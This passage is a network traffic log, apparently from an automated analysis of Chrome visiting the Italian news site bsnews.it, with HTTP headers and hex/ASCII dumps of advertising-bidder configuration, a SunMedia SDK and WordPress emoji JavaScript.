2024-03-28 08:51:09 UTC	672	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48836 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 13 Feb 2024 14:39:33 GMT x-rgw-object-type: Normal ETag: "1d4a194055c5abc7908f9325af928c3e" x-amz-request-id: tx0000034b78a1628b7e5ba-0065cb807b-2bbc492-prg X-77-NZT: AyUTzgQ3NzehnJI76Dc3N+9MWgcAbT1aDcQcPgA X-77-NZT-Ray: 8e305f1cd803741b7c2f05665816fc38 X-Accel-Expires: @1711652400 X-Accel-Date: 1711134000 X-77-Cache: HIT X-77-Age: 481868 Server: CDN77-Turbo X-Cache: MISS X-77-POP: ashburnUSVA Accept-Ranges: bytes
2024-03-28 08:51:09 UTC	15712	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 31 38 32 5d 2c 7b 31 38 32 3a 28 65 2c 74 2c 69 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 69 2e 72 28 74 29 2c 69 2e 64 28 74 2c 7b 70 62 6a 73 43 6f 6e 66 69 67 3a 28 29 3d 3e 61 2c 69 64 53 69 74 65 3a 28 29 3d 3e 64 2c 69 64 50 6c 61 6e 6e 69 6e 67 3a 28 29 3d 3e 73 2c 64 6d 70 43 6f 6e 66 69 67 3a 28 29 3d 3e 6c 2c 73 63 72 69 70 74 73 54 6f 4c 6f 61 64 3a 28 29 3d 3e 6e 2c 69 6e 74 65 78 74 43 6f 6e 66 69 67 3a 28 29 3d 3e 72 2c 69 6e 74 65 72 73 74 69 74 69 61 6c 43 6f 6e 66 69 67 3a 28 29 3d 3e 70 2c 70 6c 61 79 65 72 73 43 6f 6e 66 69 67 3a 28 29 3d 3e 6f 2c 61 64 55 6e Data Ascii: (self.webpackChunksour=self.webpackChunksour\|\|[]).push([[182],{182:(e,t,i)=>{"use strict";i.r(t),i.d(t,{pbjsConfig:()=>a,idSite:()=>d,idPlanning:()=>s,dmpConfig:()=>l,scriptsToLoad:()=>n,intextConfig:()=>r,interstitialConfig:()=>p,playersConfig:()=>o,adUn
2024-03-28 08:51:09 UTC	16384	IN	Data Raw: 37 22 7d 7d 2c 7b 62 69 64 64 65 72 3a 22 6f 67 75 72 79 22 2c 70 61 72 61 6d 73 3a 7b 61 64 55 6e 69 74 49 64 3a 22 30 64 34 61 38 37 65 30 2d 63 32 35 66 2d 30 31 33 61 2d 66 65 36 37 2d 30 32 34 32 61 63 31 32 30 30 30 34 22 2c 61 73 73 65 74 4b 65 79 3a 22 4f 47 59 2d 30 31 44 41 34 38 36 36 30 43 43 39 22 2c 73 6b 69 70 53 69 7a 65 43 68 65 63 6b 3a 21 30 7d 7d 2c 7b 62 69 64 64 65 72 3a 22 73 65 65 64 74 61 67 22 2c 70 61 72 61 6d 73 3a 7b 61 64 55 6e 69 74 49 64 3a 22 32 32 38 31 35 37 32 34 22 2c 70 75 62 6c 69 73 68 65 72 49 64 3a 22 39 35 36 33 2d 33 30 35 31 2d 30 31 22 2c 70 6c 61 63 65 6d 65 6e 74 3a 22 69 6e 41 72 74 69 63 6c 65 22 7d 7d 2c 7b 62 69 64 64 65 72 3a 22 72 75 62 69 63 6f 6e 22 2c 70 61 72 61 6d 73 3a 7b 61 63 63 6f 75 6e 74 49 Data Ascii: 7"}},{bidder:"ogury",params:{adUnitId:"0d4a87e0-c25f-013a-fe67-0242ac120004",assetKey:"OGY-01DA48660CC9",skipSizeCheck:!0}},{bidder:"seedtag",params:{adUnitId:"22815724",publisherId:"9563-3051-01",placement:"inArticle"}},{bidder:"rubicon",params:{accountI
2024-03-28 08:51:09 UTC	16384	IN	Data Raw: 5d 2c 74 61 72 67 65 74 69 6e 67 3a 6e 75 6c 6c 2c 73 63 72 69 70 74 3a 22 25 33 43 73 63 72 69 70 74 25 33 45 25 30 41 25 32 30 25 32 30 76 61 72 25 32 30 46 4c 4f 4f 52 41 44 5f 54 49 4d 45 25 32 30 25 33 44 25 32 30 31 32 30 30 30 25 33 42 25 30 41 25 32 30 25 32 30 25 30 41 25 32 30 25 32 30 76 61 72 25 32 30 68 61 6e 64 6c 65 72 46 6c 6f 6f 72 41 64 25 32 30 25 33 44 25 32 30 66 75 6e 63 74 69 6f 6e 25 32 38 65 76 65 6e 74 25 32 39 25 32 30 25 37 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 76 61 72 25 32 30 73 6f 75 72 46 6c 6f 6f 72 41 64 25 32 30 25 33 44 25 32 30 65 76 65 6e 74 2e 73 6c 6f 74 2e 67 65 74 53 6c 6f 74 45 6c 65 6d 65 6e 74 49 64 25 32 38 25 32 39 25 33 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 69 66 25 32 38 73 6f 75 72 46 Data Ascii: ],targeting:null,script:"%3Cscript%3E%0A%20%20var%20FLOORAD_TIME%20%3D%2012000%3B%0A%20%20%0A%20%20var%20handlerFloorAd%20%3D%20function%28event%29%20%7B%0A%20%20%20%20var%20sourFloorAd%20%3D%20event.slot.getSlotElementId%28%29%3B%0A%20%20%20%20if%28sourF
2024-03-28 08:51:09 UTC	356	IN	Data Raw: 72 69 70 74 25 32 30 73 72 63 25 33 44 25 32 32 68 74 74 70 73 25 33 41 2f 2f 77 77 77 2e 64 69 67 69 73 74 72 65 61 6d 2e 69 74 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 64 69 67 69 73 74 72 65 61 6d 2f 6a 73 2f 64 69 67 69 73 74 72 65 61 6d 2d 70 6c 61 79 6c 69 73 74 2d 69 6e 69 74 2e 6a 73 25 32 32 25 33 45 25 33 43 2f 73 63 72 69 70 74 25 33 45 22 2c 6f 62 6a 65 63 74 49 64 3a 7b 74 69 6d 65 73 74 61 6d 70 3a 31 36 38 32 30 39 31 33 30 39 2c 64 61 74 65 3a 31 36 38 32 30 39 31 33 30 39 65 33 7d 7d 5d 2c 67 3d 5b 7b 22 50 61 67 65 20 56 69 65 77 22 3a 21 30 7d 2c 7b 22 51 75 61 72 74 69 6c 65 73 20 50 61 67 65 20 56 69 65 77 22 3a 21 30 7d 2c 7b 22 45 66 66 65 63 74 69 76 65 20 50 61 67 65 20 56 69 65 77 22 3a 21 30 7d 2c 7b 22 47 41 Data Ascii: ript%20src%3D%22https%3A//www.digistream.it/wp-content/plugins/digistream/js/digistream-playlist-init.js%22%3E%3C/script%3E",objectId:{timestamp:1682091309,date:1682091309e3}}],g=[{"Page View":!0},{"Quartiles Page View":!0},{"Effective Page View":!0},{"GA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	49832	51.161.15.30	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:08 UTC	540	OUT	GET /sdks/inhome/1.46.11/inhome.js HTTP/1.1 Host: static.sunmedia.tv Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:08 UTC	303	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Last-Modified: Tue, 26 Mar 2024 16:12:15 GMT Cache-control: max-age=31536000 X-Device: mobile Age: 35166 TP-Cache: HIT Vary: Accept-Encoding
2024-03-28 08:51:08 UTC	3793	IN	Data Raw: 38 30 30 30 0d 0a 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 3d 7b 64 3a 28 65 2c 69 29 3d 3e 7b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 69 29 74 2e 6f 28 69 2c 6e 29 26 26 21 74 2e 6f 28 65 2c 6e 29 26 26 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 6e 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 69 5b 6e 5d 7d 29 7d 2c 6f 3a 28 74 2c 65 29 3d 3e 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 74 2c 65 29 2c 72 3a 74 3d 3e 7b 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 53 79 6d 62 6f 6c 2e 74 6f 53 74 72 69 6e 67 54 61 67 26 26 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 Data Ascii: 8000(()=>{"use strict";var t={d:(e,i)=>{for(var n in i)t.o(i,n)&&!t.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,get:i[n]})},o:(t,e)=>Object.prototype.hasOwnProperty.call(t,e),r:t=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProper
2024-03-28 08:51:08 UTC	4096	IN	Data Raw: 2c 6e 3d 30 3b 6e 3c 74 3b 6e 2b 2b 29 69 5b 6e 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6e 5d 3b 72 65 74 75 72 6e 20 69 74 2e 69 6e 66 6f 28 60 5b 24 7b 65 7d 5d 60 2c 2e 2e 2e 69 29 7d 2c 65 72 72 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 69 3d 6e 65 77 20 41 72 72 61 79 28 74 29 2c 6e 3d 30 3b 6e 3c 74 3b 6e 2b 2b 29 69 5b 6e 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6e 5d 3b 72 65 74 75 72 6e 20 69 74 2e 65 72 72 6f 72 28 60 5b 24 7b 65 7d 5d 60 2c 2e 2e 2e 69 29 7d 2c 77 61 72 6e 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 69 3d 6e 65 77 20 41 72 72 61 79 28 74 29 2c 6e 3d 30 3b 6e 3c 74 3b 6e 2b 2b Data Ascii: ,n=0;n<t;n++)i[n]=arguments[n];return it.info(`[${e}]`,...i)},error:function(){for(var t=arguments.length,i=new Array(t),n=0;n<t;n++)i[n]=arguments[n];return it.error(`[${e}]`,...i)},warning:function(){for(var t=arguments.length,i=new Array(t),n=0;n<t;n++
2024-03-28 08:51:09 UTC	4096	IN	Data Raw: 6e 74 4c 65 6e 67 74 68 3a 2d 31 2c 76 61 6c 69 64 61 74 65 53 74 61 74 75 73 3a 74 3d 3e 74 3e 3d 32 30 30 26 26 74 3c 33 30 30 7d 2c 4d 74 3d 50 74 3b 66 75 6e 63 74 69 6f 6e 20 4e 74 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 6f 74 28 74 2c 64 74 28 63 74 29 29 28 65 29 3f 3f 65 7d 66 75 6e 63 74 69 6f 6e 20 78 74 28 74 29 7b 63 6f 6e 73 74 20 65 3d 54 74 28 4d 74 2c 74 29 2c 69 3d 53 74 28 6e 65 77 20 55 52 4c 28 65 2e 75 72 6c 2c 65 2e 62 61 73 65 55 52 4c 29 2e 74 6f 53 74 72 69 6e 67 28 29 2c 65 2e 70 61 72 61 6d 73 29 2c 6e 3d 65 2e 6d 65 74 68 6f 64 7c 7c 22 47 45 54 22 2c 7b 64 61 74 61 3a 72 2c 68 65 61 64 65 72 73 3a 73 7d 3d 4e 74 28 65 2e 74 72 61 6e 73 66 6f 72 6d 52 65 71 75 65 73 74 2c 65 29 3b 72 65 74 75 72 6e 20 65 2e 61 64 61 70 74 65 72 Data Ascii: ntLength:-1,validateStatus:t=>t>=200&&t<300},Mt=Pt;function Nt(t,e){return ot(t,dt(ct))(e)??e}function xt(t){const e=Tt(Mt,t),i=St(new URL(e.url,e.baseURL).toString(),e.params),n=e.method\|\|"GET",{data:r,headers:s}=Nt(e.transformRequest,e);return e.adapter
2024-03-28 08:51:09 UTC	4096	IN	Data Raw: 28 65 29 29 29 72 65 74 75 72 6e 20 65 3b 63 6f 6e 73 74 7b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3a 69 2c 72 65 66 65 72 72 65 72 75 72 6c 3a 6e 2c 67 64 70 72 3a 72 2c 72 68 3a 73 2c 72 77 3a 61 7d 3d 6a 74 28 74 3f 2e 73 72 63 29 3b 72 65 74 75 72 6e 7b 2e 2e 2e 69 26 26 7b 5b 51 74 2e 43 4f 4e 53 45 4e 54 5f 53 54 52 49 4e 47 5d 3a 69 7d 2c 2e 2e 2e 6e 26 26 7b 5b 51 74 2e 52 45 46 45 52 52 45 52 5f 55 52 4c 5d 3a 6e 7d 2c 2e 2e 2e 72 26 26 7b 5b 51 74 2e 47 44 50 52 5f 41 50 50 4c 49 45 53 5d 3a 72 7d 2c 2e 2e 2e 73 26 26 7b 5b 51 74 2e 48 45 49 47 48 54 5d 3a 73 7d 2c 2e 2e 2e 61 26 26 7b 5b 51 74 2e 57 49 44 54 48 5d 3a 61 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 24 74 28 74 29 7b 72 65 74 75 72 6e 20 4a 28 74 29 26 26 22 22 21 3d 3d 74 7d 66 75 6e 63 74 Data Ascii: (e)))return e;const{gdpr_consent:i,referrerurl:n,gdpr:r,rh:s,rw:a}=jt(t?.src);return{...i&&{[Qt.CONSENT_STRING]:i},...n&&{[Qt.REFERRER_URL]:n},...r&&{[Qt.GDPR_APPLIES]:r},...s&&{[Qt.HEIGHT]:s},...a&&{[Qt.WIDTH]:a}}}function $t(t){return J(t)&&""!==t}funct
2024-03-28 08:51:09 UTC	4096	IN	Data Raw: 65 7c 7c 74 7d 20 73 68 6f 75 6c 64 20 62 65 20 61 20 76 61 6c 69 64 20 55 55 49 44 21 60 29 7d 28 74 2c 22 75 75 69 64 22 29 2c 77 65 3d 74 3d 3e 66 75 6e 63 74 69 6f 6e 28 74 29 7b 6c 65 74 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 22 22 3b 69 66 28 5a 28 6b 74 28 74 29 29 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 60 24 7b 65 7c 7c 74 7d 20 73 68 6f 75 6c 64 20 62 65 20 61 20 6e 75 6d 62 65 72 21 60 29 7d 28 74 2c 22 69 6e 73 74 61 6e 63 65 49 6e 64 65 78 22 29 2c 6b 65 3d 74 3d 3e 66 75 6e 63 74 69 6f 6e 28 74 29 7b 6c 65 74 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 76 6f 69 64 20 30 21 Data Ascii: e\|\|t} should be a valid UUID!`)}(t,"uuid"),we=t=>function(t){let e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"";if(Z(kt(t)))throw new Error(`${e\|\|t} should be a number!`)}(t,"instanceIndex"),ke=t=>function(t){let e=arguments.length>1&&void 0!
2024-03-28 08:51:09 UTC	4096	IN	Data Raw: 48 65 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 66 69 6c 74 65 72 28 28 28 74 2c 65 2c 69 29 3d 3e 69 2e 69 6e 64 65 78 4f 66 28 74 29 3d 3d 3d 65 29 29 7d 63 6f 6e 73 74 20 59 65 3d 5b 22 74 72 75 65 22 2c 22 31 22 2c 22 79 65 73 22 5d 2c 6a 65 3d 5b 22 66 61 6c 73 65 22 2c 22 30 22 2c 22 6e 6f 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 71 65 28 74 29 7b 69 66 28 21 4a 28 74 29 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 73 74 72 69 6e 67 54 6f 42 6f 6f 6c 65 61 6e 20 65 78 70 65 63 74 73 20 6f 6e 65 20 61 72 67 75 6d 65 6e 74 20 6f 66 20 74 79 70 65 20 73 74 72 69 6e 67 22 29 3b 63 6f 6e 73 74 20 65 3d 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 74 72 69 6d 28 29 3b 72 65 74 75 72 6e 21 21 59 65 2e 69 6e 63 6c 75 64 65 73 28 65 29 7c 7c 21 6a 65 2e Data Ascii: He(t){return t.filter(((t,e,i)=>i.indexOf(t)===e))}const Ye=["true","1","yes"],je=["false","0","no"];function qe(t){if(!J(t))throw new Error("stringToBoolean expects one argument of type string");const e=t.toLowerCase().trim();return!!Ye.includes(e)\|\|!je.
2024-03-28 08:51:09 UTC	4096	IN	Data Raw: 26 7b 5b 6d 69 5d 3a 71 65 28 72 5b 6d 69 5d 29 3f 45 3a 62 7d 2c 2e 2e 2e 72 5b 70 69 5d 26 26 7b 5b 70 69 5d 3a 58 65 2e 64 65 63 6f 64 65 28 72 5b 70 69 5d 29 7d 2c 2e 2e 2e 72 5b 49 69 5d 26 26 7b 5b 49 69 5d 3a 54 69 28 72 5b 49 69 5d 29 7d 2c 2e 2e 2e 72 5b 79 69 5d 26 26 7b 5b 79 69 5d 3a 54 69 28 72 5b 79 69 5d 29 7d 7d 3b 72 65 74 75 72 6e 20 55 65 28 7b 2e 2e 2e 6e 2c 2e 2e 2e 73 7d 29 7d 28 74 68 69 73 2e 63 6f 6e 66 69 67 2c 74 68 69 73 2e 72 65 66 65 72 72 65 72 55 72 6c 2c 74 68 69 73 2e 69 6e 74 65 67 72 61 74 69 6f 6e 53 63 72 69 70 74 3f 2e 6d 61 63 72 6f 73 29 7d 63 72 65 61 74 65 50 6c 75 67 69 6e 49 6e 73 74 61 6e 63 65 73 28 29 7b 63 6f 6e 73 74 20 74 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2e 69 6e 74 65 67 72 61 74 69 6f 6e 49 6e 73 74 Data Ascii: &{[mi]:qe(r[mi])?E:b},...r[pi]&&{[pi]:Xe.decode(r[pi])},...r[Ii]&&{[Ii]:Ti(r[Ii])},...r[yi]&&{[yi]:Ti(r[yi])}};return Ue({...n,...s})}(this.config,this.referrerUrl,this.integrationScript?.macros)}createPluginInstances(){const t=this.config.integrationInst
2024-03-28 08:51:09 UTC	4096	IN	Data Raw: 6f 6e 73 74 20 61 3d 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 69 29 7b 72 65 74 75 72 6e 20 30 3d 3d 3d 69 3f 65 3a 74 28 69 2c 65 25 69 29 7d 28 69 2c 6e 29 3b 72 65 74 75 72 6e 60 24 7b 69 2f 61 7d 3a 24 7b 6e 2f 61 7d 60 7d 7d 2c 6a 69 3d 74 3d 3e 59 69 5b 74 5d 7c 7c 61 74 28 6e 75 6c 6c 29 2c 71 69 3d 28 29 3d 3e 30 2c 5f 69 3d 6d 74 28 5a 2c 44 74 29 3b 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 24 69 28 74 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 65 3d 3e 7b 73 65 74 54 69 6d 65 6f 75 74 28 65 2c 74 29 7d 29 29 7d 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 4b 69 28 74 29 7b 6c 65 74 7b 61 72 67 73 3a 65 3d 5b 5d 2c 61 74 74 65 6d 70 74 73 3a 69 3d 35 2c 64 65 6c 61 79 3a 6e 3d 35 30 30 7d 3d 61 72 67 75 6d 65 6e 74 73 2e Data Ascii: onst a=function t(e,i){return 0===i?e:t(i,e%i)}(i,n);return`${i/a}:${n/a}`}},ji=t=>Yi[t]\|\|at(null),qi=()=>0,_i=mt(Z,Dt);async function $i(t){return new Promise((e=>{setTimeout(e,t)}))}async function Ki(t){let{args:e=[],attempts:i=5,delay:n=500}=arguments.
2024-03-28 08:51:09 UTC	311	IN	Data Raw: 61 50 6f 73 69 74 69 6f 6e 22 2c 43 6e 3d 22 65 78 70 61 6e 64 65 64 50 6f 73 69 74 69 6f 6e 22 2c 53 6e 3d 22 73 74 79 6c 65 73 22 2c 77 6e 3d 7b 54 52 45 4d 4f 52 3a 22 61 64 73 2e 74 72 65 6d 6f 72 68 75 62 2e 63 6f 6d 2f 61 64 2f 63 68 6e 6c 22 7d 2c 6b 6e 3d 30 2c 52 6e 3d 31 2c 44 6e 3d 7b 64 75 72 61 74 69 6f 6e 3a 32 31 2c 70 61 67 65 55 72 6c 3a 21 31 2c 61 64 55 6e 69 74 73 3a 5b 7b 6d 65 64 69 61 54 79 70 65 73 3a 7b 62 61 6e 6e 65 72 3a 7b 73 69 7a 65 73 3a 5b 5b 33 30 30 2c 32 35 30 5d 2c 5b 33 30 30 2c 36 30 30 5d 2c 5b 36 34 30 2c 33 36 30 5d 2c 5b 33 32 30 2c 34 38 30 5d 2c 5b 37 32 30 2c 37 32 30 5d 2c 5b 37 32 38 2c 39 30 5d 2c 5b 39 38 30 2c 32 35 30 5d 2c 5b 39 38 30 2c 39 30 5d 2c 5b 33 32 30 2c 35 30 5d 2c 5b 33 32 30 2c 31 30 30 5d Data Ascii: aPosition",Cn="expandedPosition",Sn="styles",wn={TREMOR:"ads.tremorhub.com/ad/chnl"},kn=0,Rn=1,Dn={duration:21,pageUrl:!1,adUnits:[{mediaTypes:{banner:{sizes:[[300,250],[300,600],[640,360],[320,480],[720,720],[728,90],[980,250],[980,90],[320,50],[320,100]
2024-03-28 08:51:09 UTC	4096	IN	Data Raw: 38 30 30 30 0d 0a 33 36 22 2c 61 64 53 6c 6f 74 3a 22 32 35 36 30 35 39 38 22 7d 2c 67 76 6c 69 64 3a 37 36 7d 2c 7b 62 69 64 64 65 72 3a 22 61 70 70 6e 65 78 75 73 22 2c 70 61 72 61 6d 73 3a 7b 70 6c 61 63 65 6d 65 6e 74 49 64 3a 31 38 31 35 37 36 37 39 7d 2c 67 76 6c 69 64 3a 33 32 7d 2c 7b 62 69 64 64 65 72 3a 22 73 6d 61 72 74 61 64 73 65 72 76 65 72 22 2c 70 61 72 61 6d 73 3a 7b 73 69 74 65 49 64 3a 32 38 31 38 35 35 2c 70 61 67 65 49 64 3a 31 30 33 39 33 31 33 2c 66 6f 72 6d 61 74 49 64 3a 38 38 32 30 30 7d 2c 67 76 6c 69 64 3a 34 35 7d 2c 7b 62 69 64 64 65 72 3a 22 72 69 63 68 61 75 64 69 65 6e 63 65 22 2c 70 61 72 61 6d 73 3a 7b 70 69 64 3a 22 4d 50 5f 30 36 45 68 43 62 63 66 5a 4b 22 2c 73 75 70 70 6c 79 54 79 70 65 3a 22 73 69 74 65 22 7d 2c 67 Data Ascii: 800036",adSlot:"2560598"},gvlid:76},{bidder:"appnexus",params:{placementId:18157679},gvlid:32},{bidder:"smartadserver",params:{siteId:281855,pageId:1039313,formatId:88200},gvlid:45},{bidder:"richaudience",params:{pid:"MP_06EhCbcfZK",supplyType:"site"},g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	49869	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:08 UTC	756	OUT	GET /wp-includes/js/wp-emoji-release.min.js?ver=6.4.3 HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _ga=GA1.1.30849489.1711615863; _gcl_au=1.1.1773882818.1711615867
2024-03-28 08:51:09 UTC	698	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:09 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close last-modified: Fri, 07 Apr 2023 21:50:08 GMT etag: W/"64309010-4904" x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 4610 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IsxNL8OM8qua69wR5ZQRktNE6%2BJ3MWZ8qUXecC5wgJaMao4Z53lL6Gow4dNc4RYC%2Fvi10S2yL3yVED%2FAfBlAGJrehvCE2XIoEzgTwwlunAGR8SG%2FExznHU7i7nc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b6606d8dec399d-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:09 UTC	671	IN	Data Raw: 34 39 30 34 0d 0a 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 2f 2f 20 53 6f 75 72 63 65 3a 20 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 74 77 65 6d 6f 6a 69 2e 6d 69 6e 2e 6a 73 0a 76 61 72 20 74 77 65 6d 6f 6a 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6d 3d 7b 62 61 73 65 3a 22 68 74 74 70 73 3a 2f 2f 74 77 65 6d 6f 6a 69 2e 6d 61 78 63 64 6e 2e 63 6f 6d 2f 76 2f 31 34 2e 30 2e 32 2f 22 2c 65 78 74 3a 22 2e 70 6e 67 22 2c 73 69 7a 65 3a 22 37 32 78 37 32 22 2c 63 6c 61 73 73 4e 61 6d 65 3a 22 65 6d 6f 6a 69 22 2c 63 6f 6e 76 65 72 74 3a 7b 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 64 29 7b 64 3d 22 73 74 72 69 6e 67 Data Ascii: 4904/! This file is auto-generated /// Source: wp-includes/js/twemoji.min.jsvar twemoji=function(){"use strict";var m={base:"https://twemoji.maxcdn.com/v/14.0.2/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 67 20 22 2e 63 6f 6e 63 61 74 28 27 63 6c 61 73 73 3d 22 27 2c 61 2e 63 6c 61 73 73 4e 61 6d 65 2c 27 22 20 27 2c 27 64 72 61 67 67 61 62 6c 65 3d 22 66 61 6c 73 65 22 20 27 2c 27 61 6c 74 3d 22 27 2c 64 2c 27 22 27 2c 27 20 73 72 63 3d 22 27 2c 62 2c 27 22 27 29 2c 75 3d 61 2e 61 74 74 72 69 62 75 74 65 73 28 64 2c 65 29 29 75 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 66 29 26 26 30 21 3d 3d 66 2e 69 6e 64 65 78 4f 66 28 22 6f 6e 22 29 26 26 2d 31 3d 3d 3d 63 2e 69 6e 64 65 78 4f 66 28 22 20 22 2b 66 2b 22 3d 22 29 26 26 28 63 3d 63 2e 63 6f 6e 63 61 74 28 22 20 22 2c 66 2c 27 3d 22 27 2c 75 5b 66 5d 2e 72 65 70 6c 61 63 65 28 74 2c 72 29 2c 27 22 27 29 29 3b 63 3d 63 2e 63 6f 6e 63 61 74 28 22 2f 3e 22 29 7d 72 65 74 75 72 6e 20 63 7d 29 7d 3a 66 Data Ascii: g ".concat('class="',a.className,'" ','draggable="false" ','alt="',d,'"',' src="',b,'"'),u=a.attributes(d,e))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===c.indexOf(" "+f+"=")&&(c=c.concat(" ",f,'="',u[f].replace(t,r),'"'));c=c.concat("/>")}return c})}:f
